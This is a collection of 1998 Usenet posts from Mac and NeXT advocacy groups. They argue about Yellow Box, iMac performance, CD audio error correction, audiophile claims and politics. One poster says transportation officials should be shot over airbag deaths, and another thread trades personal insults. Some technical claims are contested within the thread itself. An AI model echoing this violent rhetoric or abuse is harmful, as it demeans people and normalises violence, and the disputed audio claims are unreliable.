References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <gmgraves-1508981124460001@sf-usr1-23-151.dialup.slip.net> <6r5ha0$sic$1@camel25.mindspring.com> <35D72295.1D53@bellatlantic.net> <gmgraves-1608981325080001@sf-usr1-50-178.dialup.slip.net> <joe.ragosta-1608981658190001@elk59.dol.net> <uthant-1608982112340001@user-37kb9d4.dialup.mindspring.com> <joe.ragosta-1708980656280001@elk81.dol.net> <gmgraves-1708981003100001@sf-usr1-49-177.dialup.slip.net> <6ra0dh$tjt$1@ec.arbat.com> <gmgraves-1808981133120001@sf-usr1-26-154.dialup.slip.net> <tim-1808981644030001@jump-tnt-0044.customer.jump.net> <gmgraves-1908981035490001@sf-usr1-40-168.dialup.slip.net>
Date: Thu, 20 Aug 1998 13:12:05 GMT
NNTP-Posting-Date: Thu, 20 Aug 1998 08:12:05 CDT
gmgraves@slip.net (George Graves) wrote:
>being uncorrelated with the current signa, produced a nasty distortion, easily
>heard, but never before described or quantized. If this person had used your
>narrow-minded and myopic view of engineering instead of using his ears,
>we still wouldn't know about these two phenomenea.
You are full of bologna. I have better things to do than shred this
BS in the newsgroups. However, I have one phrase for you and your
"black magic" golden-ears "audiophiles" -
That phrase is "double-blind testing."
Your types always fail.
From: alex@webis.net (Alex Kac)
Newsgroups: comp.sys.next.advocacy
Subject: Re: docks in OSX
Date: Thu, 20 Aug 1998 08:43:06 -0500
Organization: Web Information Solutions---Interactive and database web design studio
Message-ID: <alex-2008980843070001@castle.webis.net>
References: <alex-1908981239120001@castle.webis.net> <1998082002171700.WAA05274@ladder03.news.aol.com>
NNTP-Posting-Date: 20 Aug 1998 13:42:34 GMT
In article <1998082002171700.WAA05274@ladder03.news.aol.com>,
willadams@aol.com (WillAdams) wrote:
: My apologies, as Andrew Wright was kind enough to note
: >Someone wrote (paraphrased :):
: >>>We're getting a dock-alike thing in 8.5.
:
: And then Alex Kac said:
: >It is completely configurable. Its basically a global floating window that
: >can be configured to look like the Windows Task bar, the Next Dock, with
: >small icons, large icons, no icons, title bar yes/no, etc...
:
: But what about interface and functionality? Can it be compelled to slide in
: only up/down or side-to-side? How does one load it with apps? Drag-and-drop?
:
: Andrew Wright then went on to note that he didn't think animation occured, and
: that it was customized through AppleScript?
: Similarly, what happened to animated icons? Why AppleScript?
:
: Anyone still have a copy of that Apple UI document?
:
Note, at this point, the "Application Switcher" as it is called, is NOT a
dock. Its a process window that is extremely customizable. No animation
occurs. You can't load it with apps. It only shows the currently running
apps. However, its a beginning. For example, DragThing contains both a
process dock and an application dock (which is what you're wanting) and is
extremely customizable to the nth degree. Apple's thing only provides the
process dock.
--
Alex Kac
Web Information Solutions CEO
Dynamic Business Publishing - Tango 3 Solution Provider
http://www.WebIS.net
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Solaris is"Free"
Date: Thu, 20 Aug 1998 10:24:10 -0500
Organization: Ericsson North America Inc.
Message-ID: <35DC3F9A.94763FB6@ericsson.com>
References: <35D45C80.38A0C880@ericsson.com> <35D84F6F.DAED08CD@ericsson.com> <6r9spk$d0e@newsb.netnews.att.com> <35D880A3.989DB717@ericsson.com> <6ra265$dgg@newsb.netnews.att.com> <35D89D57.E0678722@ericsson.com> <slrn6thab4.sf3.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35D8B78C.46566D88@ericsson.com> <6raopr$23t@news1.panix.com> <35D9D123.C98BF639@ericsson.com> <6rdmof$drt@news1.panix.com> <35DAE429.F37495C2@ericsson.com> <6rg8u4$4qh@news1.panix.com>
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Sal Denaro wrote:
> When he lived in NY, yes. I went to school with him. I used to go out
> drinking with him. We worked on the school paper. I attened his father's
> wake. (BTW, I'm from New Yawk. We don't play golf. :)
[...]
> At least my cuts are entertaining.
[...]
> Shithead. You have to right to claim the moral highground. You have had
> a history of being
[...]
> Signature peck. When someone proves a point resort to petty antics like posting
> [Laugh]
>
> You are not fooling anyone. We all know what a little twerp you are.
[...]
> Then why did you suggest Apple to that? More MJP absurdity?
[...]
> This has got to be one of the most idiotic things you have ever said. Are you
> suggesting that basic economic theory doesn't work in Texas? It must be nice
> to live in your own personal RDF.
[...]
> You clearly need to go back and take Eco101 over.
>
> On day one you learn that one of the basic concepts in economics is that
>
> a) Our _wants_ are infinite
> b) Our resources to provide those _wants_ are finite
>
> Unless you can somehow prove that I could buy anything I want in Texas
> with the change in my pockets, I'll stick to my assumption that Texas
> functions the same under basic economic models as the rest of the planet.
>
> <proof>
> How many PII 400s can you buy for $x in Texas? Is that a finite number?
> Congratulations, you have just proven that scarcity exists in Texas, and
> it effects basic economic activity in Texas the exact same way that it
> effects basic economic activity everywhere else in the universe.
> </proof>
>
> I was a member of the Libertarian party of NYS in 1989 and 1990. I even
> helped get signatures to put a Libertarian on a NYS ballot. After taking
> some classes on Economics, I decided to _distance_ myself from what I
> now consider to be a scam. Libertarians not only believe there is such a
> thing as a free lunch, they somehow feel that it is their right to get
> that free lunch...
>
> I find the idea of a political party made up of people who wish to put
> the individual before the group to be very ironic.
This is definitely one for the files. Thanks for the entertainment, keep
up the good work.
MJP
z
Newsgroups: comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Rhapsody Openstep changes: opinions of NeXT programmers and users?
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Cc: quinlan@intergate.bc.ca
Organization: none
References: <6rd076$dc1$1@leol.net-link.net> <6relqf$dr4$1@nnrp1.dejanews.com>
<ExyApo.EEv@T-FCN.Net> <6rfrq4$sj5$1@nnrp1.dejanews.com>
Mime-Version: 1.0
Date: Thu, 20 Aug 1998 15:33:28 GMT
In <6rfrq4$sj5$1@nnrp1.dejanews.com> quinlan@intergate.bc.ca wrote:
> We don't know if the cost of a DPS license will be relevant or not.
Well it was pretty much stated exactly that way at WWDC.
> Presumably, Apple doesn't want to pay licensing fees for each YB
distribution
> because they want to make it free on the Windows side. But I am sure sure
> that Apple is still interested in promoting Windows development using YB.
One can only hope!
Maury
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Solaris is"Free"
Date: Thu, 20 Aug 1998 10:44:36 -0500
Organization: Ericsson North America Inc.
Message-ID: <35DC4464.D57E0278@ericsson.com>
References: <35D45C80.38A0C880@ericsson.com> <35D84F6F.DAED08CD@ericsson.com> <6r9spk$d0e@newsb.netnews.att.com> <35D880A3.989DB717@ericsson.com> <6ra265$dgg@newsb.netnews.att.com> <35D89D57.E0678722@ericsson.com> <slrn6thab4.sf3.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35D8B78C.46566D88@ericsson.com> <6raopr$23t@news1.panix.com> <35D9D123.C98BF639@ericsson.com> <6rdmof$drt@news1.panix.com> <35DAE429.F37495C2@ericsson.com> <6rg8u4$4qh@news1.panix.com>
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Sal Denaro wrote:
> I was a member of the Libertarian party of NYS in 1989 and 1990. I even
> helped get signatures to put a Libertarian on a NYS ballot. After taking
> some classes on Economics, I decided to _distance_ myself from what I
> now consider to be a scam. Libertarians not only believe there is such a
> thing as a free lunch, they somehow feel that it is their right to get
> that free lunch...
Libertarians believe it is their right to work for lunch without being
told how to go about it by people with too much time on their hands. The
fact that you left the party leaves only one conclusion...
> I find the idea of a political party made up of people who wish to put
> the individual before the group to be very ironic.
...but of course you never actually understood the politics of the
Libertarian Party, anyway.
MJP
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD-quality sound (was: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!)
Date: Thu, 20 Aug 1998 09:31:36 -0700
Organization: Graves Associates
Message-ID: <gmgraves-2008980931360001@sf-usr1-52-180.dialup.slip.net>
References: <joe.ragosta-1408981927480001@elk72.dol.net> <joe.ragosta-1508980652460001@elk56.dol.net> <edewExt44K.Hq0@netcom.com> <6racqh$its$2@walter.cs.umd.edu> <gmgraves-1808981108170001@sf-usr1-26-154.dialup.slip.net> <p.kerr-1908981231590001@news.auckland.ac.nz> <6repa4$bge$2@walter.cs.umd.edu> <gmgraves-1908981015510001@sf-usr1-40-168.dialup.slip.net> <6rf3pj$fjd$1@walter.cs.umd.edu>
In article <6rf3pj$fjd$1@walter.cs.umd.edu>, seanl@cs.umd.edu (Sean Luke) wrote:
> George Graves (gmgraves@slip.net) wrote:
>
> : I insist upon reproduction accuracy. I use real music to "recalibrate" my
> : ears at every possibly oppertunity. But I don't want recordings to sound
> : like they do at studios (bad) because I don't generally listen to music
> : recorded IN studios (not critically, anyway).
>
> Neither do I. I'm not talking about recording in studios. I'm talking
> about *postproduction* in studios. Mixes, sound adjustment, etc. Which
> is about 90% of existant albums and CDs, and about 99% of *new* albums and
> CDs.
Two track recordings don't need to be mixed (and indeed can't be unless you want
mono). Most are never "sweetened" either. I don't listen to "new" albums or CDs
for the very reason that they are wildly overproduced and usually sound
terrible.
Most of the CDs that I buy are reissues of Mercury Living Prescence LPs (on CD)
and RCA Living Stereo CD reissues from the 1950's. Why? Because they were
recorded simply with only two or at most three microphones through tube
electronics and they sound more like music. Also, the conductors of the early
stereo era of the middle 50's are the great ones of this century: Reiner,
Szell, Walter,
Leinsdorf, Ormandy, Beecham. Modern conductors pale in their shadows. We are
lucky to often have great recordings or their best works (try Reiner's
famous 1954
stereo recording of Strauss' "Also Sprach Zarathustra" on the RCA Living Stereo
CD re-release. While not as spectacular as the original presing of the
stereo LP,
it nonetheless is nothing short of a sonic blockbuster. It images so well
that you
get the sense of how great the Chicago Symphony Hall sounded before they
"fixed it"
thereby ruining it forever in the 1960's).
George Graves
Date: Thu, 20 Aug 1998 08:36:15 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: More lies from Jobs on iMac speed
Message-ID: <joe.ragosta-2008980836150001@wil76.dol.net>
References: <macghod-1808982216550001@sdn-ar-001casbarp215.dialsprint.net> <B1FFC698-6CC0E@206.165.43.134> <6rf4ss$4ab$1@plo.sierra.com> <joe.ragosta-1908981446040001@wil87.dol.net> <6rgdhg$egl$1@nnrp1.dejanews.com>
In article <6rgdhg$egl$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
> In article <joe.ragosta-1908981446040001@wil87.dol.net>,
> joe.ragosta@dol.net (Joe Ragosta) wrote:
>
> > Just as MrC is about 40% faster than the Mac compiler that Byte used.
>
> The difference is that most Windows developers use VC++ while most Mac
> developers use the CodeWarrior compilers.
Except MacOS uses MrC.
I notice that you're admitting that Windows developers don't use the Intel
Reference Compiler. So can we throw out all the SPEC scores based on this
compiler, as well?
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Thu, 20 Aug 1998 08:50:16 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Message-ID: <joe.ragosta-2008980850170001@wil76.dol.net>
References: <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu> <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net> <6r23ta$ea2$1@nnrp1.dejanews.com> <asiufy-1508980138510001@200.229.243.200> <35d6af93.40724865@news.iafrica.com> <joe.ragosta-1608980805280001@elk78.dol.net> <35e38142.25822380@news.calweb.com> <macghod-1808982154340001@sdn-ar-001casbarp215.dialsprint.net> <gmgraves-1908980943000001@sf-usr1-40-168.dialup.slip.net> <35db15d8.0@news.depaul.edu>
In article <35db15d8.0@news.depaul.edu>, Jonathan W Hendry
<jhendry@shrike.depaul.edu> wrote:
> In comp.sys.next.advocacy George Graves <gmgraves@slip.net> wrote:
>
> > I think its fairly obvious. It certainly makes a perfect "reduced"
client if
> > not actually a "thin" client computer. Only the HD and the lack of a
bootable
> > system in ROM (or over a network) seperates the iMac from a thin client
> > computer,
>
>
> The iMac evidently is able to boot over a network, though
> there's no boot server currently available. OSX/Server?
Good guess.
Although I haven't seen anything in any Apple documents that indicates
that this capability is there. What would it require for Mac OS X Server
to be able to do this? Anything special?
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: merefbast@aol.com (MerefBast)
Newsgroups: comp.sys.next.advocacy
Subject: [Q] release dates
Message-ID: <1998082108583300.EAA06551@ladder01.news.aol.com>
Date: 21 Aug 1998 08:58:33 GMT
Organization: AOL http://www.aol.com
Anyone know the release dates of each version of the Next/NeXTSTEP/OpenSTEP
OS? Preferably with URLs or other references to back up their accuracy. This
information will go into the chart at <a
href="http://msem26.eng.ohio-state.edu/os/holistic/age/age.htm">http://mse
m26.eng.ohio-state.edu/os/holistic/age/age.htm</a> It would be nice to have
something other than just HP-UX release dates...... (especially for a
Rhapsody-related web site)
--reply to: MerefBast@aol.com or CatGuy@lamg.com
From: ev515o@hotxxxmail.com (Mayor Of R'lyeh)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Organization: City Of R'lyeh
Message-ID: <35de4bec.11657983@news.netdirect.net>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r967u$a27$1@lwnws01.ne.highway1.com> <joe.ragosta-1708980924010001@wil51.dol.net> <6r9cu3$n76@fridge.shore.net> <rayExuyrC.IIo@netcom.com> <35D8C744.5F35DF26@ericsson.com> <35dc0e60.788068@news.supernews.com> <slrn6tkr5o.bl2.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
MIME-Version: 1.0
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Content-Transfer-Encoding: 7bit
Date: Wed, 19 Aug 1998 22:16:05 GMT
NNTP-Posting-Date: Wed, 19 Aug 1998 17:16:05 EDT
On 19 Aug 1998 06:12:08 GMT, NOSPAMmbkennelNOSPAM@yahoo.com (Matt
Kennel) chose to bless us all with this bit of wisdom:
>On Tue, 18 Aug 1998 23:33:48 GMT, T. Max Devlin <mdevlin@eltrax.com> wrote:
>:I believe the case is that everybody *wants* a computer to be like a car.
>:Which is good. Even the people who don't want computers to be "easy" above
>:all else want them to be like cars.
>
>I wish computers were more like cars in the way that counts:
>
>You drive whichever sort you want wherever you want, and there isn't a
>cabal of clueless businessmen standardizing everybody's car against
>their will into Tempo 98's or Tempo NT's in order to "reduce maintenance
>costs" and because Tempo Gasoline is ubiquitous.
No instead we have a bunch of bureaucrats telling car manufacturers
what they will make and how many. We have CAFE standards that mandate
smaller less safe cars. We have air bags being forced onto cars
despite car manufacturer's warnings that they could kill some people.
(IMO every Secretary of Transportation from whenever air bags were
first forced on car manufacturers to the current one should be tried
for as many counts of murder as people have been killed by the things.
After they've been found guilty (There can be no other outcome in a
fair trial on this issue. The evidence is that overwhelming.) they
should be shot.) These same bureaucrats are looking at the results of
collisions between SUVs and compact cars and concluding that the SUV
is just too safe. Doubtless, we will soon see regulations mandating an
'equal right to die' in a collision.
You may get your wish. Even a small victory by the government against
MS will get the ball rolling in this direction. The funny thing is
that since the government will find it easier to mandate the most
popular to be the only thing allowable, you will be literally forced
(at gunpoint) to use MS. No doubt it will be 'for the children' in
some way.
Failure to use government mandated software will result in you and
your family getting the 'Randy and Vickie Weaver Treatment'. Won't
that just be Paradise?
>
>And the chariman of Gigantic Motors (makers of Tempo and other fine
>Tempo accessories) isn't under suspicion of muscling Tucker motors out
>of business.
No the government did that as well. Your vision of a glorious future
sure seems odd.
On the facts before us, however, we are inclined to conclude
that the Windows 95/IE package is a genuine integration;
consequently, s IV(E)(i) does not bar Microsoft from offering
it as one product.
United States Court of Appeals
FOR THE DISTRICT OF COLUMBIA CIRCUIT
Date: Wed, 19 Aug 1998 18:45:37 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Message-ID: <joe.ragosta-1908981845370001@elk70.dol.net>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r967u$a27$1@lwnws01.ne.highway1.com> <joe.ragosta-1708980924010001@wil51.dol.net> <6r9cu3$n76@fridge.shore.net> <rayExuyrC.IIo@netcom.com> <35D8C744.5F35DF26@ericsson.com> <35dc0e60.788068@news.supernews.com> <slrn6tkr5o.bl2.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35de4bec.11657983@news.netdirect.net>
In article <35de4bec.11657983@news.netdirect.net>, ev515o@hotxxxmail.com
(Mayor Of R'lyeh) wrote:
> No instead we have a bunch of bureaucrats telling car manufacturers
> what they will make and how many. We have CAFE standards that mandate
> smaller less safe cars. We have air bags being forced onto cars
Not true. CAFE standards mandate fuel economy. There's nothing in them
that mandates that cars need to be less safe.
Example: Most car manufacturers in the U.S. are bragging about their
umpteen horsepower engines and how fast their cars are. If they spent as
much money and time on developing more efficient cars as they spend on
making more powerful engines, they'd have no problem meeting the CAFE
standards without reducing weight.
> despite car manufacturer's warnings that they could kill some people.
True. How many? About 1% of the number they've saved?
> (IMO every Secretary of Transportation from whenever air bags were
> first forced on car manufacturers to the current one should be tried
> for as many counts of murder as people have been killed by the things.
And how do you reward them for all the thousands of lives they've saved?
Air bags have saved thousands of lives, and cost perhaps dozens.
Regrettable? Absolutely. Tragic? Sure--for the families involved. But as a
society, air bags have been mostly positive. With a little fine tuning,
the ratio may improve further.
> After they've been found guilty (There can be no other outcome in a
> fair trial on this issue. The evidence is that overwhelming.) they
> should be shot.) These same bureaucrats are looking at the results of
> collisions between SUVs and compact cars and concluding that the SUV
> is just too safe. Doubtless, we will soon see regulations mandating an
> 'equal right to die' in a collision.
Nice straw man. Care to provide a URL that recommends changing SUVs merely
to make them less safe for SUV occupants?
> You may get your wish. Even a small victory by the government against
> MS will get the ball rolling in this direction. The funny thing is
If splittin MS in pieces results in the same ratio of benefit to pain as
requiring air bags, they should do it.
> that since the government will find it easier to mandate the most
> popular to be the only thing allowable, you will be literally forced
> (at gunpoint) to use MS. No doubt it will be 'for the children' in
> some way.
Huh? Another straw man.
> Failure to use government mandated software will result in you and
> your family getting the 'Randy and Vickie Weaver Treatment'. Won't
> that just be Paradise?
You're really in fantasy land on this one.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Newsgroups: comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: writing games for yellow box?
Content-Type: text/plain; charset=us-ascii
Message-ID: <Ey01q1.6Ax@T-FCN.Net>
Sender: news@T-FCN.Net
Content-Transfer-Encoding: 7bit
Cc: mvdk@euronet.nl
Organization: none
References: <mvdk-2008981748580001@192.0.1.3>
Mime-Version: 1.0
Date: Thu, 20 Aug 1998 17:54:00 GMT
In <mvdk-2008981748580001@192.0.1.3> Marten van de Kraats wrote:
> We are thinking about building a multimedia game. We are wondering which
> platform we should write for. I was thinking about Yellow Box because then
> we will be able to port for both Windows and Mac OS X without any extra
> work. Is this a good idea? Is Yellow Box a good platform for gaming? Or
> should I write for Carbon and Windows seperatly?
In general all your standard "housekeeping" tasks will be _far_ easier
under YB. That is, you'll be able to handle the basic application runtime,
manu handling, prefs and score files, saved games etc., with practically zero
code (specifically, you'll have to write the file format, that's about it).
In addition YB's unique resource handling will make working with the
multimedia aspects of the game a LOT easier. Things like editing sounds,
sprites and pictures are simply easier and faster under YB, than under Mac or
Win.
The combination of the two is likely to reduce the time needed to build a
game enormously, which is why the id people used to use it.
All that said, I would _not_ recommend starting such a project right now
for two major reasons.
One is that the drawing subsystem is currently undefined. Although it's
unlikely to change greatly (at least conceptually), it will change and thus
doing this portion of the coding is a _little_ premature. On the other hand
we're going to have to do this with our app, yet I predict it will take only
a few days to do so.
And the other reason is that QT is available only via a functional
interface, and even that's undefined. I don't really have a problem with it
being a functional based interface (for instance, the current PS system under
OpenStep is, and it works) but the support is currently somewhat vague and
likely to change.
Sooooo, basically I think you could definitely benefit from using the YB
for major portions of the development work, notably during the early stages
when you're working more on design than actual specific functionality.
> When writing for Yellow Box, will I be able to use the QuickTime API for
> sound and motion? Is there some other reason why we shouldn't build games
> in the yellow box? Is a yellow box application in windows just as fast as
> a 'normal' windowsprogram? I mean, is there any kind of emulation going on
> and are most windowsgames also written for higher lever api's like yellow
> box?
Actually the opposite is a real issue. On Windows you typically use
DirectX to get access to the screen and input and such. Such access is not
available from YB (yet).
> Is it true that one can program 10 times faster using the development
> tools for Yellow Box?
Yes. And learn it ten times faster if my experience is any guide.
> What are the other advantages of programming for
> Yellow Box?
Too many to number. Really, you want to try it.
Maury
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Content-Type: text/plain; charset=us-ascii
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Sender: news@T-FCN.Net
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Cc: gmgraves@slip.net
Organization: none
References: <nospam-1408980055000001@dhack1-124.cybernex.net> <6r29nn$3oo$1@camel0.mindspring.com>
<gmgraves-1408981630300001@sf-pm5-17-81.dialup.slip.net> <6r2tc6$rob$1@camel29.mindspring.com>
<gmgraves-1408982206530001@sf-pm5-7-71.dialup.slip.net> <35d525ad.0@news.depaul.edu>
<gmgraves-1508981124460001@sf-usr1-23-151.dialup.slip.net> <6r5ha0$sic$1@camel25.mindspring.com>
<35D72295.1D53@bellatlantic.net> <gmgraves-1608981325080001@sf-usr1-50-178.dialup.slip.net>
<joe.ragosta-1608981658190001@elk59.dol.net> <uthant-1608982112340001@user-37kb9d4.dialup.mindspring.com>
<joe.ragosta-1708980656280001@elk81.dol.net> <gmgraves-1708981003100001@sf-usr1-49-177.dialup.slip.net>
<joe.ragosta-1708981315410001@0.0.0.0> <gmgraves-1808981139100001@sf-usr1-26-154.dialup.slip.net>
<redgate-1908981057290001@aux163.tulsa.oklahoma.net> <gmgraves-1908981054010001@sf-usr1-40-168.dialup.slip.net>
<rbarris-ya023280001908981125580001@206.82.216.1> <gmgraves-2008980950060001@sf-usr1-52-180.dialup.slip.net>
Mime-Version: 1.0
Date: Thu, 20 Aug 1998 18:30:13 GMT
In <gmgraves-2008980950060001@sf-usr1-52-180.dialup.slip.net> George Graves
wrote:
> George Cardas of Cardas cables says that his research has shown that the
> culprit is cable capacitance. It tends to integrate the bit pulses so that
> their shoulders are rounded off (to a greater or lesser degree, depending
> upon cable type). This makes edge (or transition) detection of the bit
> stream more difficult for the circuitry to detect, raising the error rate
> and making the error correction work harder.
This sounds suspect. It's been over a decade since I last did digital, but
the "edge detection" is happening via rate changes typically no? Such an
error introduction would also be uniform over a digital signal anyway, which
to me would imply that either your edge detection fails completely, or that
instead the entire signal is delayed by a fixed amount.
Basically if this were to have an effect on output sound, you'd need to
cascade the problem down the chain of hardware. Basically this would have to
happen, then the edge detector would have to fail, or that delay would have
to propagate itself in a specific way.
> He says that the way Reed- Solomon works, the corrected bits are
> approximations (best guesses) of the misinterpreted data
Well this _is_ incorrect. RS, like most FEC's, has a well defined "maximum
error rate" they can correct 100%, at which point they simply fail. The nice
thing about RS codes are that you can select these rates, and that it has
excellent burst abilities. Basically not only is this wrong, but if anything
the RS would completely kill off the effect of the item above.
More direct, current implementations of Reed-Solomon codes in CD's are able
to cope with error bursts as long as 4000 consecutive bits. Again, at which
point they fail. Sorry, this story makes as much sense as the freezing the
CD in liquid nitrogen did 6 years ago.
I don't know if this has any effect on the debate, but basically I think
the explaination doesn't hold water.
Maury
Date: Fri, 21 Aug 1998 07:41:59 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: '97 Mac entrant feels shafted
Message-ID: <joe.ragosta-2108980742000001@wil89.dol.net>
References: <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <not-2007982335410001@ip-26-018.phx.primenet.com> <6p1e3r$ub9$1@bunyip.cc.uq.edu.au> <joe.ragosta-2107980812360001@0.0.0.0> <6p2u11$9g3$1@nnrp1.dejanews.com> <joe.ragosta-0408981649060001@wil36.dol.net> <6q8abf$nvs$1@nnrp1.dejanews.com> <35d39589.146319500@news.mindspring.com> <jbg-1108981259520001@green.sdc.cs.boeing.com> <35d11510.0@news3.ibm.net> <FIiROLCWddLd-pn2-PiVGlPFJxJge@localhost> <not-1408980949290001@ip-167-031.phx.primenet.com> <FIiROLCWddLd-pn2-lbE8cM6mXeKT@slip-202-135-183-217.hk.hk.ibm.net>
In article
<FIiROLCWddLd-pn2-lbE8cM6mXeKT@slip-202-135-183-217.hk.hk.ibm.net>,
pit@iohk.SPAM-NOT.com (taiQ) wrote:
> Classic Mac OS -> Mac OS X pretty much equals Wind3.1 -> WindNT
> upgrade.
>
> Unless one only plays games, crashes and losing data is unacceptable.
> Only Mac OS X is supposed to bring NT-level (actually even better)
> stability to PowerMac users. If stability and "hardware-nativeness"
> are to be considered "luxury"... duh.
That's true if you treat it as a binary function ("stable" vs "unstable").
Unfortunately, that's an arbitrary distinction. How many crashes per month
are allowed before a system changes from "stable" to "unstable"?
In real life, it's all a matter of degrees. If a Classic Mac OS user has
one crash per month and it doesn't bother them much, why is Mac OS X a
"mandatory" upgrade? Or even if he has a crash every day, but all he's
doing is playing games and never loses any data? Who are you to decide
what is an acceptable level of stability?
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Fri, 21 Aug 1998 07:50:19 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Message-ID: <joe.ragosta-2108980750200001@wil89.dol.net>
References: <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu> <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net> <6r23ta$ea2$1@nnrp1.dejanews.com> <asiufy-1508980138510001@200.229.243.200> <35d6af93.40724865@news.iafrica.com> <joe.ragosta-1608980805280001@elk78.dol.net> <35d73727.75437413@news.iafrica.com> <Pine.SOL.3.94.980820183426.21510D-100000@droid.fit.qut.edu.au> <35dc7478.113530583@news.iafrica.com> <gmgraves-2008981831490001@sf-usr1-14-142.dialup.slip.net> <6rj375$cu3$1@nnrp1.dejanews.com>
In article <6rj375$cu3$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
> In article <gmgraves-2008981831490001@sf-usr1-14-142.dialup.slip.net>,
> gmgraves@slip.net (George Graves) wrote:
>
> > Good thing too. Your operating system is such unmittigated junk that
> > you have to be willing to spend most of your time futzing with it. Me?
> > I'd rather just get my work done. That's why I use Macintosh.
>
> How do you know what operating system he's running? Maybe he's running
> OpenStep, BeOS or Linux. Do you think that the Mac OS is better than all of
> those? Even Windows NT is decisively better than the Mac OS.
*sigh*
Unless you measure "better" by ease of use, productivity, or cost of
ownership. Then, NT falls well short of Mac OS.
It _does_ win on buzzword compliance, though.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: quinlan@intergate.bc.ca
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Thu, 20 Aug 1998 09:02:45 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6rgonk$pm9$1@nnrp1.dejanews.com>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <joe.ragosta-1608980726050001@elk78.dol.net> <6r967u$a27$1@lwnws01.ne.highway1.com> <joe.ragosta-1708980924010001@wil51.dol.net> <6r9cu3$n76@fridge.shore.net> <35D865AF.5045B9BA@inficad.com> <35d98440.15799568@news.netdirect.net> <jak-1808982348440001@dialup110.phnx.uswest.net> <35d9ed36.2151113@news.netdirect.net> <jak-1908982053290001@ddialup168.phnx.uswest.net>
In article <jak-1908982053290001@ddialup168.phnx.uswest.net>,
jak@asu.edu (John Kestner) wrote:
> But since Macs start with CD-quality sound, the need to
> upgrade is far off enough (at least 5 years, I'd say) that it'd be time to
> upgrade the whole computer anyway.
But your Mac takes a speed hit when you try playing a sound with a higher than
CD sampling rate. For example, if you play a sound taken from DAT then the Mac
has to resample the sound in software. PC cards accept a wide varietly of
sampling rates and bits/sample.
> >Not for serious gaming. Those guys want the 3D Surround Sound
> >experience.
>
> Ok, that would answer my question. Now is that something that is encoded
> in more than the 2 standard stereo channels? If not, then can't it be
> added with the right speakers?
Even if you only want 2D sound, the Mac is not well equipped. Good PC sound
cards can transform several channels of sound, in hardware, to generate 2D
positional and velocity (doppler) effects. The Mac has to do this in software.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
